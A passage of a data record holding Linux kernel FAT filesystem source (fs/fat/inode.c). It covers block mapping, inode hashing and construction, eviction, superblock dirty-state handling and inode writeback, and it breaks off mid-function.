    \n\n"} +{"text": "// SPDX-License-Identifier: GPL-2.0-only\n/*\n * linux/fs/fat/inode.c\n *\n * Written 1992,1993 by Werner Almesberger\n * VFAT extensions by Gordon Chaffee, merged with msdos fs by Henrik Storner\n * Rewritten for the constant inumbers support by Al Viro\n *\n * Fixes:\n *\n *\tMax Cohan: Fixed invalid FSINFO offset when info_sector is 0\n */\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \"fat.h\"\n\n#ifndef CONFIG_FAT_DEFAULT_IOCHARSET\n/* if user don't select VFAT, this is undefined. */\n#define CONFIG_FAT_DEFAULT_IOCHARSET\t\"\"\n#endif\n\n#define KB_IN_SECTORS 2\n\n/* DOS dates from 1980/1/1 through 2107/12/31 */\n#define FAT_DATE_MIN (0<<9 | 1<<5 | 1)\n#define FAT_DATE_MAX (127<<9 | 12<<5 | 31)\n#define FAT_TIME_MAX (23<<11 | 59<<5 | 29)\n\n/*\n * A deserialized copy of the on-disk structure laid out in struct\n * fat_boot_sector.\n */\nstruct fat_bios_param_block {\n\tu16\tfat_sector_size;\n\tu8\tfat_sec_per_clus;\n\tu16\tfat_reserved;\n\tu8\tfat_fats;\n\tu16\tfat_dir_entries;\n\tu16\tfat_sectors;\n\tu16\tfat_fat_length;\n\tu32\tfat_total_sect;\n\n\tu8\tfat16_state;\n\tu32\tfat16_vol_id;\n\n\tu32\tfat32_length;\n\tu32\tfat32_root_cluster;\n\tu16\tfat32_info_sector;\n\tu8\tfat32_state;\n\tu32\tfat32_vol_id;\n};\n\nstatic int fat_default_codepage = CONFIG_FAT_DEFAULT_CODEPAGE;\nstatic char fat_default_iocharset[] = CONFIG_FAT_DEFAULT_IOCHARSET;\n\nstatic struct fat_floppy_defaults {\n\tunsigned nr_sectors;\n\tunsigned sec_per_clus;\n\tunsigned dir_entries;\n\tunsigned media;\n\tunsigned fat_length;\n} floppy_defaults[] = {\n{\n\t.nr_sectors = 160 * KB_IN_SECTORS,\n\t.sec_per_clus = 1,\n\t.dir_entries = 64,\n\t.media = 0xFE,\n\t.fat_length = 1,\n},\n{\n\t.nr_sectors = 180 * KB_IN_SECTORS,\n\t.sec_per_clus = 1,\n\t.dir_entries = 64,\n\t.media = 0xFC,\n\t.fat_length = 2,\n},\n{\n\t.nr_sectors = 320 * KB_IN_SECTORS,\n\t.sec_per_clus = 2,\n\t.dir_entries = 112,\n\t.media = 0xFF,\n\t.fat_length = 1,\n},\n{\n\t.nr_sectors = 360 * KB_IN_SECTORS,\n\t.sec_per_clus = 2,\n\t.dir_entries = 112,\n\t.media = 0xFD,\n\t.fat_length = 2,\n},\n};\n\nint fat_add_cluster(struct inode *inode)\n{\n\tint err, cluster;\n\n\terr = fat_alloc_clusters(inode, &cluster, 1);\n\tif (err)\n\t\treturn err;\n\t/* FIXME: this cluster should be added after data of this\n\t * cluster is writed */\n\terr = fat_chain_add(inode, cluster, 1);\n\tif (err)\n\t\tfat_free_clusters(inode, cluster);\n\treturn err;\n}\n\nstatic inline int __fat_get_block(struct inode *inode, sector_t iblock,\n\t\t\t\t unsigned long *max_blocks,\n\t\t\t\t struct buffer_head *bh_result, int create)\n{\n\tstruct super_block *sb = inode->i_sb;\n\tstruct msdos_sb_info *sbi = MSDOS_SB(sb);\n\tunsigned long mapped_blocks;\n\tsector_t phys, last_block;\n\tint err, offset;\n\n\terr = fat_bmap(inode, iblock, &phys, &mapped_blocks, create, false);\n\tif (err)\n\t\treturn err;\n\tif (phys) {\n\t\tmap_bh(bh_result, sb, phys);\n\t\t*max_blocks = min(mapped_blocks, *max_blocks);\n\t\treturn 0;\n\t}\n\tif (!create)\n\t\treturn 0;\n\n\tif (iblock != MSDOS_I(inode)->mmu_private >> sb->s_blocksize_bits) {\n\t\tfat_fs_error(sb, \"corrupted file size (i_pos %lld, %lld)\",\n\t\t\tMSDOS_I(inode)->i_pos, MSDOS_I(inode)->mmu_private);\n\t\treturn -EIO;\n\t}\n\n\tlast_block = inode->i_blocks >> (sb->s_blocksize_bits - 9);\n\toffset = (unsigned long)iblock & (sbi->sec_per_clus - 1);\n\t/*\n\t * allocate a cluster according to the following.\n\t * 1) no more available blocks\n\t * 2) not part of fallocate region\n\t */\n\tif (!offset && !(iblock < last_block)) {\n\t\t/* TODO: multiple cluster allocation would be desirable. */\n\t\terr = fat_add_cluster(inode);\n\t\tif (err)\n\t\t\treturn err;\n\t}\n\t/* available blocks on this cluster */\n\tmapped_blocks = sbi->sec_per_clus - offset;\n\n\t*max_blocks = min(mapped_blocks, *max_blocks);\n\tMSDOS_I(inode)->mmu_private += *max_blocks << sb->s_blocksize_bits;\n\n\terr = fat_bmap(inode, iblock, &phys, &mapped_blocks, create, false);\n\tif (err)\n\t\treturn err;\n\tif (!phys) {\n\t\tfat_fs_error(sb,\n\t\t\t \"invalid FAT chain (i_pos %lld, last_block %llu)\",\n\t\t\t MSDOS_I(inode)->i_pos,\n\t\t\t (unsigned long long)last_block);\n\t\treturn -EIO;\n\t}\n\n\tBUG_ON(*max_blocks != mapped_blocks);\n\tset_buffer_new(bh_result);\n\tmap_bh(bh_result, sb, phys);\n\n\treturn 0;\n}\n\nstatic int fat_get_block(struct inode *inode, sector_t iblock,\n\t\t\t struct buffer_head *bh_result, int create)\n{\n\tstruct super_block *sb = inode->i_sb;\n\tunsigned long max_blocks = bh_result->b_size >> inode->i_blkbits;\n\tint err;\n\n\terr = __fat_get_block(inode, iblock, &max_blocks, bh_result, create);\n\tif (err)\n\t\treturn err;\n\tbh_result->b_size = max_blocks << sb->s_blocksize_bits;\n\treturn 0;\n}\n\nstatic int fat_writepage(struct page *page, struct writeback_control *wbc)\n{\n\treturn block_write_full_page(page, fat_get_block, wbc);\n}\n\nstatic int fat_writepages(struct address_space *mapping,\n\t\t\t struct writeback_control *wbc)\n{\n\treturn mpage_writepages(mapping, wbc, fat_get_block);\n}\n\nstatic int fat_readpage(struct file *file, struct page *page)\n{\n\treturn mpage_readpage(page, fat_get_block);\n}\n\nstatic void fat_readahead(struct readahead_control *rac)\n{\n\tmpage_readahead(rac, fat_get_block);\n}\n\nstatic void fat_write_failed(struct address_space *mapping, loff_t to)\n{\n\tstruct inode *inode = mapping->host;\n\n\tif (to > inode->i_size) {\n\t\ttruncate_pagecache(inode, inode->i_size);\n\t\tfat_truncate_blocks(inode, inode->i_size);\n\t}\n}\n\nstatic int fat_write_begin(struct file *file, struct address_space *mapping,\n\t\t\tloff_t pos, unsigned len, unsigned flags,\n\t\t\tstruct page **pagep, void **fsdata)\n{\n\tint err;\n\n\t*pagep = NULL;\n\terr = cont_write_begin(file, mapping, pos, len, flags,\n\t\t\t\tpagep, fsdata, fat_get_block,\n\t\t\t\t&MSDOS_I(mapping->host)->mmu_private);\n\tif (err < 0)\n\t\tfat_write_failed(mapping, pos + len);\n\treturn err;\n}\n\nstatic int fat_write_end(struct file *file, struct address_space *mapping,\n\t\t\tloff_t pos, unsigned len, unsigned copied,\n\t\t\tstruct page *pagep, void *fsdata)\n{\n\tstruct inode *inode = mapping->host;\n\tint err;\n\terr = generic_write_end(file, mapping, pos, len, copied, pagep, fsdata);\n\tif (err < len)\n\t\tfat_write_failed(mapping, pos + len);\n\tif (!(err < 0) && !(MSDOS_I(inode)->i_attrs & ATTR_ARCH)) {\n\t\tfat_truncate_time(inode, NULL, S_CTIME|S_MTIME);\n\t\tMSDOS_I(inode)->i_attrs |= ATTR_ARCH;\n\t\tmark_inode_dirty(inode);\n\t}\n\treturn err;\n}\n\nstatic ssize_t fat_direct_IO(struct kiocb *iocb, struct iov_iter *iter)\n{\n\tstruct file *file = iocb->ki_filp;\n\tstruct address_space *mapping = file->f_mapping;\n\tstruct inode *inode = mapping->host;\n\tsize_t count = iov_iter_count(iter);\n\tloff_t offset = iocb->ki_pos;\n\tssize_t ret;\n\n\tif (iov_iter_rw(iter) == WRITE) {\n\t\t/*\n\t\t * FIXME: blockdev_direct_IO() doesn't use ->write_begin(),\n\t\t * so we need to update the ->mmu_private to block boundary.\n\t\t *\n\t\t * But we must fill the remaining area or hole by nul for\n\t\t * updating ->mmu_private.\n\t\t *\n\t\t * Return 0, and fallback to normal buffered write.\n\t\t */\n\t\tloff_t size = offset + count;\n\t\tif (MSDOS_I(inode)->mmu_private < size)\n\t\t\treturn 0;\n\t}\n\n\t/*\n\t * FAT need to use the DIO_LOCKING for avoiding the race\n\t * condition of fat_get_block() and ->truncate().\n\t */\n\tret = blockdev_direct_IO(iocb, inode, iter, fat_get_block);\n\tif (ret < 0 && iov_iter_rw(iter) == WRITE)\n\t\tfat_write_failed(mapping, offset + count);\n\n\treturn ret;\n}\n\nstatic int fat_get_block_bmap(struct inode *inode, sector_t iblock,\n\t\tstruct buffer_head *bh_result, int create)\n{\n\tstruct super_block *sb = inode->i_sb;\n\tunsigned long max_blocks = bh_result->b_size >> inode->i_blkbits;\n\tint err;\n\tsector_t bmap;\n\tunsigned long mapped_blocks;\n\n\tBUG_ON(create != 0);\n\n\terr = fat_bmap(inode, iblock, &bmap, &mapped_blocks, create, true);\n\tif (err)\n\t\treturn err;\n\n\tif (bmap) {\n\t\tmap_bh(bh_result, sb, bmap);\n\t\tmax_blocks = min(mapped_blocks, max_blocks);\n\t}\n\n\tbh_result->b_size = max_blocks << sb->s_blocksize_bits;\n\n\treturn 0;\n}\n\nstatic sector_t _fat_bmap(struct address_space *mapping, sector_t block)\n{\n\tsector_t blocknr;\n\n\t/* fat_get_cluster() assumes the requested blocknr isn't truncated. */\n\tdown_read(&MSDOS_I(mapping->host)->truncate_lock);\n\tblocknr = generic_block_bmap(mapping, block, fat_get_block_bmap);\n\tup_read(&MSDOS_I(mapping->host)->truncate_lock);\n\n\treturn blocknr;\n}\n\n/*\n * fat_block_truncate_page() zeroes out a mapping from file offset `from'\n * up to the end of the block which corresponds to `from'.\n * This is required during truncate to physically zeroout the tail end\n * of that block so it doesn't yield old data if the file is later grown.\n * Also, avoid causing failure from fsx for cases of \"data past EOF\"\n */\nint fat_block_truncate_page(struct inode *inode, loff_t from)\n{\n\treturn block_truncate_page(inode->i_mapping, from, fat_get_block);\n}\n\nstatic const struct address_space_operations fat_aops = {\n\t.readpage\t= fat_readpage,\n\t.readahead\t= fat_readahead,\n\t.writepage\t= fat_writepage,\n\t.writepages\t= fat_writepages,\n\t.write_begin\t= fat_write_begin,\n\t.write_end\t= fat_write_end,\n\t.direct_IO\t= fat_direct_IO,\n\t.bmap\t\t= _fat_bmap\n};\n\n/*\n * New FAT inode stuff. We do the following:\n *\ta) i_ino is constant and has nothing with on-disk location.\n *\tb) FAT manages its own cache of directory entries.\n *\tc) *This* cache is indexed by on-disk location.\n *\td) inode has an associated directory entry, all right, but\n *\t\tit may be unhashed.\n *\te) currently entries are stored within struct inode. That should\n *\t\tchange.\n *\tf) we deal with races in the following way:\n *\t\t1. readdir() and lookup() do FAT-dir-cache lookup.\n *\t\t2. rename() unhashes the F-d-c entry and rehashes it in\n *\t\t\ta new place.\n *\t\t3. unlink() and rmdir() unhash F-d-c entry.\n *\t\t4. fat_write_inode() checks whether the thing is unhashed.\n *\t\t\tIf it is we silently return. If it isn't we do bread(),\n *\t\t\tcheck if the location is still valid and retry if it\n *\t\t\tisn't. Otherwise we do changes.\n *\t\t5. Spinlock is used to protect hash/unhash/location check/lookup\n *\t\t6. fat_evict_inode() unhashes the F-d-c entry.\n *\t\t7. lookup() and readdir() do igrab() if they find a F-d-c entry\n *\t\t\tand consider negative result as cache miss.\n */\n\nstatic void fat_hash_init(struct super_block *sb)\n{\n\tstruct msdos_sb_info *sbi = MSDOS_SB(sb);\n\tint i;\n\n\tspin_lock_init(&sbi->inode_hash_lock);\n\tfor (i = 0; i < FAT_HASH_SIZE; i++)\n\t\tINIT_HLIST_HEAD(&sbi->inode_hashtable[i]);\n}\n\nstatic inline unsigned long fat_hash(loff_t i_pos)\n{\n\treturn hash_32(i_pos, FAT_HASH_BITS);\n}\n\nstatic void dir_hash_init(struct super_block *sb)\n{\n\tstruct msdos_sb_info *sbi = MSDOS_SB(sb);\n\tint i;\n\n\tspin_lock_init(&sbi->dir_hash_lock);\n\tfor (i = 0; i < FAT_HASH_SIZE; i++)\n\t\tINIT_HLIST_HEAD(&sbi->dir_hashtable[i]);\n}\n\nvoid fat_attach(struct inode *inode, loff_t i_pos)\n{\n\tstruct msdos_sb_info *sbi = MSDOS_SB(inode->i_sb);\n\n\tif (inode->i_ino != MSDOS_ROOT_INO) {\n\t\tstruct hlist_head *head = sbi->inode_hashtable\n\t\t\t\t\t + fat_hash(i_pos);\n\n\t\tspin_lock(&sbi->inode_hash_lock);\n\t\tMSDOS_I(inode)->i_pos = i_pos;\n\t\thlist_add_head(&MSDOS_I(inode)->i_fat_hash, head);\n\t\tspin_unlock(&sbi->inode_hash_lock);\n\t}\n\n\t/* If NFS support is enabled, cache the mapping of start cluster\n\t * to directory inode. This is used during reconnection of\n\t * dentries to the filesystem root.\n\t */\n\tif (S_ISDIR(inode->i_mode) && sbi->options.nfs) {\n\t\tstruct hlist_head *d_head = sbi->dir_hashtable;\n\t\td_head += fat_dir_hash(MSDOS_I(inode)->i_logstart);\n\n\t\tspin_lock(&sbi->dir_hash_lock);\n\t\thlist_add_head(&MSDOS_I(inode)->i_dir_hash, d_head);\n\t\tspin_unlock(&sbi->dir_hash_lock);\n\t}\n}\nEXPORT_SYMBOL_GPL(fat_attach);\n\nvoid fat_detach(struct inode *inode)\n{\n\tstruct msdos_sb_info *sbi = MSDOS_SB(inode->i_sb);\n\tspin_lock(&sbi->inode_hash_lock);\n\tMSDOS_I(inode)->i_pos = 0;\n\thlist_del_init(&MSDOS_I(inode)->i_fat_hash);\n\tspin_unlock(&sbi->inode_hash_lock);\n\n\tif (S_ISDIR(inode->i_mode) && sbi->options.nfs) {\n\t\tspin_lock(&sbi->dir_hash_lock);\n\t\thlist_del_init(&MSDOS_I(inode)->i_dir_hash);\n\t\tspin_unlock(&sbi->dir_hash_lock);\n\t}\n}\nEXPORT_SYMBOL_GPL(fat_detach);\n\nstruct inode *fat_iget(struct super_block *sb, loff_t i_pos)\n{\n\tstruct msdos_sb_info *sbi = MSDOS_SB(sb);\n\tstruct hlist_head *head = sbi->inode_hashtable + fat_hash(i_pos);\n\tstruct msdos_inode_info *i;\n\tstruct inode *inode = NULL;\n\n\tspin_lock(&sbi->inode_hash_lock);\n\thlist_for_each_entry(i, head, i_fat_hash) {\n\t\tBUG_ON(i->vfs_inode.i_sb != sb);\n\t\tif (i->i_pos != i_pos)\n\t\t\tcontinue;\n\t\tinode = igrab(&i->vfs_inode);\n\t\tif (inode)\n\t\t\tbreak;\n\t}\n\tspin_unlock(&sbi->inode_hash_lock);\n\treturn inode;\n}\n\nstatic int is_exec(unsigned char *extension)\n{\n\tunsigned char exe_extensions[] = \"EXECOMBAT\", *walk;\n\n\tfor (walk = exe_extensions; *walk; walk += 3)\n\t\tif (!strncmp(extension, walk, 3))\n\t\t\treturn 1;\n\treturn 0;\n}\n\nstatic int fat_calc_dir_size(struct inode *inode)\n{\n\tstruct msdos_sb_info *sbi = MSDOS_SB(inode->i_sb);\n\tint ret, fclus, dclus;\n\n\tinode->i_size = 0;\n\tif (MSDOS_I(inode)->i_start == 0)\n\t\treturn 0;\n\n\tret = fat_get_cluster(inode, FAT_ENT_EOF, &fclus, &dclus);\n\tif (ret < 0)\n\t\treturn ret;\n\tinode->i_size = (fclus + 1) << sbi->cluster_bits;\n\n\treturn 0;\n}\n\nstatic int fat_validate_dir(struct inode *dir)\n{\n\tstruct super_block *sb = dir->i_sb;\n\n\tif (dir->i_nlink < 2) {\n\t\t/* Directory should have \".\"/\"..\" entries at least. */\n\t\tfat_fs_error(sb, \"corrupted directory (invalid entries)\");\n\t\treturn -EIO;\n\t}\n\tif (MSDOS_I(dir)->i_start == 0 ||\n\t MSDOS_I(dir)->i_start == MSDOS_SB(sb)->root_cluster) {\n\t\t/* Directory should point valid cluster. */\n\t\tfat_fs_error(sb, \"corrupted directory (invalid i_start)\");\n\t\treturn -EIO;\n\t}\n\treturn 0;\n}\n\n/* doesn't deal with root inode */\nint fat_fill_inode(struct inode *inode, struct msdos_dir_entry *de)\n{\n\tstruct msdos_sb_info *sbi = MSDOS_SB(inode->i_sb);\n\tint error;\n\n\tMSDOS_I(inode)->i_pos = 0;\n\tinode->i_uid = sbi->options.fs_uid;\n\tinode->i_gid = sbi->options.fs_gid;\n\tinode_inc_iversion(inode);\n\tinode->i_generation = prandom_u32();\n\n\tif ((de->attr & ATTR_DIR) && !IS_FREE(de->name)) {\n\t\tinode->i_generation &= ~1;\n\t\tinode->i_mode = fat_make_mode(sbi, de->attr, S_IRWXUGO);\n\t\tinode->i_op = sbi->dir_ops;\n\t\tinode->i_fop = &fat_dir_operations;\n\n\t\tMSDOS_I(inode)->i_start = fat_get_start(sbi, de);\n\t\tMSDOS_I(inode)->i_logstart = MSDOS_I(inode)->i_start;\n\t\terror = fat_calc_dir_size(inode);\n\t\tif (error < 0)\n\t\t\treturn error;\n\t\tMSDOS_I(inode)->mmu_private = inode->i_size;\n\n\t\tset_nlink(inode, fat_subdirs(inode));\n\n\t\terror = fat_validate_dir(inode);\n\t\tif (error < 0)\n\t\t\treturn error;\n\t} else { /* not a directory */\n\t\tinode->i_generation |= 1;\n\t\tinode->i_mode = fat_make_mode(sbi, de->attr,\n\t\t\t((sbi->options.showexec && !is_exec(de->name + 8))\n\t\t\t ? S_IRUGO|S_IWUGO : S_IRWXUGO));\n\t\tMSDOS_I(inode)->i_start = fat_get_start(sbi, de);\n\n\t\tMSDOS_I(inode)->i_logstart = MSDOS_I(inode)->i_start;\n\t\tinode->i_size = le32_to_cpu(de->size);\n\t\tinode->i_op = &fat_file_inode_operations;\n\t\tinode->i_fop = &fat_file_operations;\n\t\tinode->i_mapping->a_ops = &fat_aops;\n\t\tMSDOS_I(inode)->mmu_private = inode->i_size;\n\t}\n\tif (de->attr & ATTR_SYS) {\n\t\tif (sbi->options.sys_immutable)\n\t\t\tinode->i_flags |= S_IMMUTABLE;\n\t}\n\tfat_save_attrs(inode, de->attr);\n\n\tinode->i_blocks = ((inode->i_size + (sbi->cluster_size - 1))\n\t\t\t & ~((loff_t)sbi->cluster_size - 1)) >> 9;\n\n\tfat_time_fat2unix(sbi, &inode->i_mtime, de->time, de->date, 0);\n\tif (sbi->options.isvfat) {\n\t\tfat_time_fat2unix(sbi, &inode->i_ctime, de->ctime,\n\t\t\t\t de->cdate, de->ctime_cs);\n\t\tfat_time_fat2unix(sbi, &inode->i_atime, 0, de->adate, 0);\n\t} else\n\t\tfat_truncate_time(inode, &inode->i_mtime, S_ATIME|S_CTIME);\n\n\treturn 0;\n}\n\nstatic inline void fat_lock_build_inode(struct msdos_sb_info *sbi)\n{\n\tif (sbi->options.nfs == FAT_NFS_NOSTALE_RO)\n\t\tmutex_lock(&sbi->nfs_build_inode_lock);\n}\n\nstatic inline void fat_unlock_build_inode(struct msdos_sb_info *sbi)\n{\n\tif (sbi->options.nfs == FAT_NFS_NOSTALE_RO)\n\t\tmutex_unlock(&sbi->nfs_build_inode_lock);\n}\n\nstruct inode *fat_build_inode(struct super_block *sb,\n\t\t\tstruct msdos_dir_entry *de, loff_t i_pos)\n{\n\tstruct inode *inode;\n\tint err;\n\n\tfat_lock_build_inode(MSDOS_SB(sb));\n\tinode = fat_iget(sb, i_pos);\n\tif (inode)\n\t\tgoto out;\n\tinode = new_inode(sb);\n\tif (!inode) {\n\t\tinode = ERR_PTR(-ENOMEM);\n\t\tgoto out;\n\t}\n\tinode->i_ino = iunique(sb, MSDOS_ROOT_INO);\n\tinode_set_iversion(inode, 1);\n\terr = fat_fill_inode(inode, de);\n\tif (err) {\n\t\tiput(inode);\n\t\tinode = ERR_PTR(err);\n\t\tgoto out;\n\t}\n\tfat_attach(inode, i_pos);\n\tinsert_inode_hash(inode);\nout:\n\tfat_unlock_build_inode(MSDOS_SB(sb));\n\treturn inode;\n}\n\nEXPORT_SYMBOL_GPL(fat_build_inode);\n\nstatic int __fat_write_inode(struct inode *inode, int wait);\n\nstatic void fat_free_eofblocks(struct inode *inode)\n{\n\t/* Release unwritten fallocated blocks on inode eviction. */\n\tif ((inode->i_blocks << 9) >\n\t\t\tround_up(MSDOS_I(inode)->mmu_private,\n\t\t\t\tMSDOS_SB(inode->i_sb)->cluster_size)) {\n\t\tint err;\n\n\t\tfat_truncate_blocks(inode, MSDOS_I(inode)->mmu_private);\n\t\t/* Fallocate results in updating the i_start/iogstart\n\t\t * for the zero byte file. So, make it return to\n\t\t * original state during evict and commit it to avoid\n\t\t * any corruption on the next access to the cluster\n\t\t * chain for the file.\n\t\t */\n\t\terr = __fat_write_inode(inode, inode_needs_sync(inode));\n\t\tif (err) {\n\t\t\tfat_msg(inode->i_sb, KERN_WARNING, \"Failed to \"\n\t\t\t\t\t\"update on disk inode for unused \"\n\t\t\t\t\t\"fallocated blocks, inode could be \"\n\t\t\t\t\t\"corrupted. Please run fsck\");\n\t\t}\n\n\t}\n}\n\nstatic void fat_evict_inode(struct inode *inode)\n{\n\ttruncate_inode_pages_final(&inode->i_data);\n\tif (!inode->i_nlink) {\n\t\tinode->i_size = 0;\n\t\tfat_truncate_blocks(inode, 0);\n\t} else\n\t\tfat_free_eofblocks(inode);\n\n\tinvalidate_inode_buffers(inode);\n\tclear_inode(inode);\n\tfat_cache_inval_inode(inode);\n\tfat_detach(inode);\n}\n\nstatic void fat_set_state(struct super_block *sb,\n\t\t\tunsigned int set, unsigned int force)\n{\n\tstruct buffer_head *bh;\n\tstruct fat_boot_sector *b;\n\tstruct msdos_sb_info *sbi = MSDOS_SB(sb);\n\n\t/* do not change any thing if mounted read only */\n\tif (sb_rdonly(sb) && !force)\n\t\treturn;\n\n\t/* do not change state if fs was dirty */\n\tif (sbi->dirty) {\n\t\t/* warn only on set (mount). */\n\t\tif (set)\n\t\t\tfat_msg(sb, KERN_WARNING, \"Volume was not properly \"\n\t\t\t\t\"unmounted. Some data may be corrupt. \"\n\t\t\t\t\"Please run fsck.\");\n\t\treturn;\n\t}\n\n\tbh = sb_bread(sb, 0);\n\tif (bh == NULL) {\n\t\tfat_msg(sb, KERN_ERR, \"unable to read boot sector \"\n\t\t\t\"to mark fs as dirty\");\n\t\treturn;\n\t}\n\n\tb = (struct fat_boot_sector *) bh->b_data;\n\n\tif (is_fat32(sbi)) {\n\t\tif (set)\n\t\t\tb->fat32.state |= FAT_STATE_DIRTY;\n\t\telse\n\t\t\tb->fat32.state &= ~FAT_STATE_DIRTY;\n\t} else /* fat 16 and 12 */ {\n\t\tif (set)\n\t\t\tb->fat16.state |= FAT_STATE_DIRTY;\n\t\telse\n\t\t\tb->fat16.state &= ~FAT_STATE_DIRTY;\n\t}\n\n\tmark_buffer_dirty(bh);\n\tsync_dirty_buffer(bh);\n\tbrelse(bh);\n}\n\nstatic void fat_reset_iocharset(struct fat_mount_options *opts)\n{\n\tif (opts->iocharset != fat_default_iocharset) {\n\t\t/* Note: opts->iocharset can be NULL here */\n\t\tkfree(opts->iocharset);\n\t\topts->iocharset = fat_default_iocharset;\n\t}\n}\n\nstatic void delayed_free(struct rcu_head *p)\n{\n\tstruct msdos_sb_info *sbi = container_of(p, struct msdos_sb_info, rcu);\n\tunload_nls(sbi->nls_disk);\n\tunload_nls(sbi->nls_io);\n\tfat_reset_iocharset(&sbi->options);\n\tkfree(sbi);\n}\n\nstatic void fat_put_super(struct super_block *sb)\n{\n\tstruct msdos_sb_info *sbi = MSDOS_SB(sb);\n\n\tfat_set_state(sb, 0, 0);\n\n\tiput(sbi->fsinfo_inode);\n\tiput(sbi->fat_inode);\n\n\tcall_rcu(&sbi->rcu, delayed_free);\n}\n\nstatic struct kmem_cache *fat_inode_cachep;\n\nstatic struct inode *fat_alloc_inode(struct super_block *sb)\n{\n\tstruct msdos_inode_info *ei;\n\tei = kmem_cache_alloc(fat_inode_cachep, GFP_NOFS);\n\tif (!ei)\n\t\treturn NULL;\n\n\tinit_rwsem(&ei->truncate_lock);\n\t/* Zeroing to allow iput() even if partial initialized inode. */\n\tei->mmu_private = 0;\n\tei->i_start = 0;\n\tei->i_logstart = 0;\n\tei->i_attrs = 0;\n\tei->i_pos = 0;\n\n\treturn &ei->vfs_inode;\n}\n\nstatic void fat_free_inode(struct inode *inode)\n{\n\tkmem_cache_free(fat_inode_cachep, MSDOS_I(inode));\n}\n\nstatic void init_once(void *foo)\n{\n\tstruct msdos_inode_info *ei = (struct msdos_inode_info *)foo;\n\n\tspin_lock_init(&ei->cache_lru_lock);\n\tei->nr_caches = 0;\n\tei->cache_valid_id = FAT_CACHE_VALID + 1;\n\tINIT_LIST_HEAD(&ei->cache_lru);\n\tINIT_HLIST_NODE(&ei->i_fat_hash);\n\tINIT_HLIST_NODE(&ei->i_dir_hash);\n\tinode_init_once(&ei->vfs_inode);\n}\n\nstatic int __init fat_init_inodecache(void)\n{\n\tfat_inode_cachep = kmem_cache_create(\"fat_inode_cache\",\n\t\t\t\t\t sizeof(struct msdos_inode_info),\n\t\t\t\t\t 0, (SLAB_RECLAIM_ACCOUNT|\n\t\t\t\t\t\tSLAB_MEM_SPREAD|SLAB_ACCOUNT),\n\t\t\t\t\t init_once);\n\tif (fat_inode_cachep == NULL)\n\t\treturn -ENOMEM;\n\treturn 0;\n}\n\nstatic void __exit fat_destroy_inodecache(void)\n{\n\t/*\n\t * Make sure all delayed rcu free inodes are flushed before we\n\t * destroy cache.\n\t */\n\trcu_barrier();\n\tkmem_cache_destroy(fat_inode_cachep);\n}\n\nstatic int fat_remount(struct super_block *sb, int *flags, char *data)\n{\n\tbool new_rdonly;\n\tstruct msdos_sb_info *sbi = MSDOS_SB(sb);\n\t*flags |= SB_NODIRATIME | (sbi->options.isvfat ? 0 : SB_NOATIME);\n\n\tsync_filesystem(sb);\n\n\t/* make sure we update state on remount. */\n\tnew_rdonly = *flags & SB_RDONLY;\n\tif (new_rdonly != sb_rdonly(sb)) {\n\t\tif (new_rdonly)\n\t\t\tfat_set_state(sb, 0, 0);\n\t\telse\n\t\t\tfat_set_state(sb, 1, 1);\n\t}\n\treturn 0;\n}\n\nstatic int fat_statfs(struct dentry *dentry, struct kstatfs *buf)\n{\n\tstruct super_block *sb = dentry->d_sb;\n\tstruct msdos_sb_info *sbi = MSDOS_SB(sb);\n\tu64 id = huge_encode_dev(sb->s_bdev->bd_dev);\n\n\t/* If the count of free cluster is still unknown, counts it here. */\n\tif (sbi->free_clusters == -1 || !sbi->free_clus_valid) {\n\t\tint err = fat_count_free_clusters(dentry->d_sb);\n\t\tif (err)\n\t\t\treturn err;\n\t}\n\n\tbuf->f_type = dentry->d_sb->s_magic;\n\tbuf->f_bsize = sbi->cluster_size;\n\tbuf->f_blocks = sbi->max_cluster - FAT_START_ENT;\n\tbuf->f_bfree = sbi->free_clusters;\n\tbuf->f_bavail = sbi->free_clusters;\n\tbuf->f_fsid.val[0] = (u32)id;\n\tbuf->f_fsid.val[1] = (u32)(id >> 32);\n\tbuf->f_namelen =\n\t\t(sbi->options.isvfat ? FAT_LFN_LEN : 12) * NLS_MAX_CHARSET_SIZE;\n\n\treturn 0;\n}\n\nstatic int __fat_write_inode(struct inode *inode, int wait)\n{\n\tstruct super_block *sb = inode->i_sb;\n\tstruct msdos_sb_info *sbi = MSDOS_SB(sb);\n\tstruct buffer_head *bh;\n\tstruct msdos_dir_entry *raw_entry;\n\tloff_t i_pos;\n\tsector_t blocknr;\n\tint err, offset;\n\n\tif (inode->i_ino == MSDOS_ROOT_INO)\n\t\treturn 0;\n\nretry:\n\ti_pos = fat_i_pos_read(sbi, inode);\n\tif (!i_pos)\n\t\treturn 0;\n\n\tfat_get_blknr_offset(sbi, i_pos, &blocknr, &offset);\n\tbh = sb_bread(sb, blocknr);\n\tif (!bh) {\n\t\tfat_msg(sb, KERN_ERR, \"unable to read inode block \"\n\t\t \"for updating (i_pos %lld)\", i_pos);\n\t\treturn -EIO;\n\t}\n\tspin_lock(&sbi->inode_hash_lock);\n\tif (i_pos != MSDOS_I(inode)->i_pos) {\n\t\tspin_unlock(&sbi->inode_hash_lock);\n\t\tbrelse(bh);\n\t\tgoto retry;\n\t}\n\n\traw_entry = &((struct msdos_dir_entry *) (bh->b_data))[offset];\n\tif (S_ISDIR(inode->i_mode))\n\t\traw_entry->size = 0;\n\telse\n\t\traw_entry->size = cpu_to_le32(inode->i_size);\n\traw_entry->attr = fat_make_attrs(inode);\n\tfat_set_start(raw_entry, MSDOS_I(inode)->i_logstart);\n\tfat_time_unix2fat(sbi, &inode->i_mtime, &raw_entry->time,\n\t\t\t &raw_entry->date, NULL);\n\tif (sbi->options.isvfat) {\n\t\t__le16 atime;\n\t\tfat_time_unix2fat(sbi, &inode->i_ctime, &raw_entry->ctime,\n\t\t\t\t &raw_entry->cdate, &raw_entry->ctime_cs);\n\t\tfat_time_unix2fat(sbi, &inode->i_atime, &atime,\n\t\t\t\t &raw_entry->adate, NULL);\n\t}\n\tspin_unlock(&sbi->inode_hash_lock);\n\tmark_buffer_dirty(bh);\n\terr = 0;\n\tif (wait)\n\t\terr = sync_dirty_buffer(bh);\n\tbrelse(bh);\n\treturn err;\n}\n\nstatic int fat_write_inode(struct inode *inode, struct writeback_control *wbc)\n{\n\tint err;\n\n\tif (inode->i_ino == MSDOS_FSINFO_INO) {\n\t\tstruct super_block *sb = inode->i_sb;\n\n\t\tmutex_lock(&MSDOS_SB(sb)->s_lock);\n\t\terr = fat_clusters_flush(sb);\n\t\tmutex_unlock(&MSDOS_SB(sb)->s_lock);\n\t} else\n\t\terr = __fat_write_inode(inode, wbc->sync_mode == 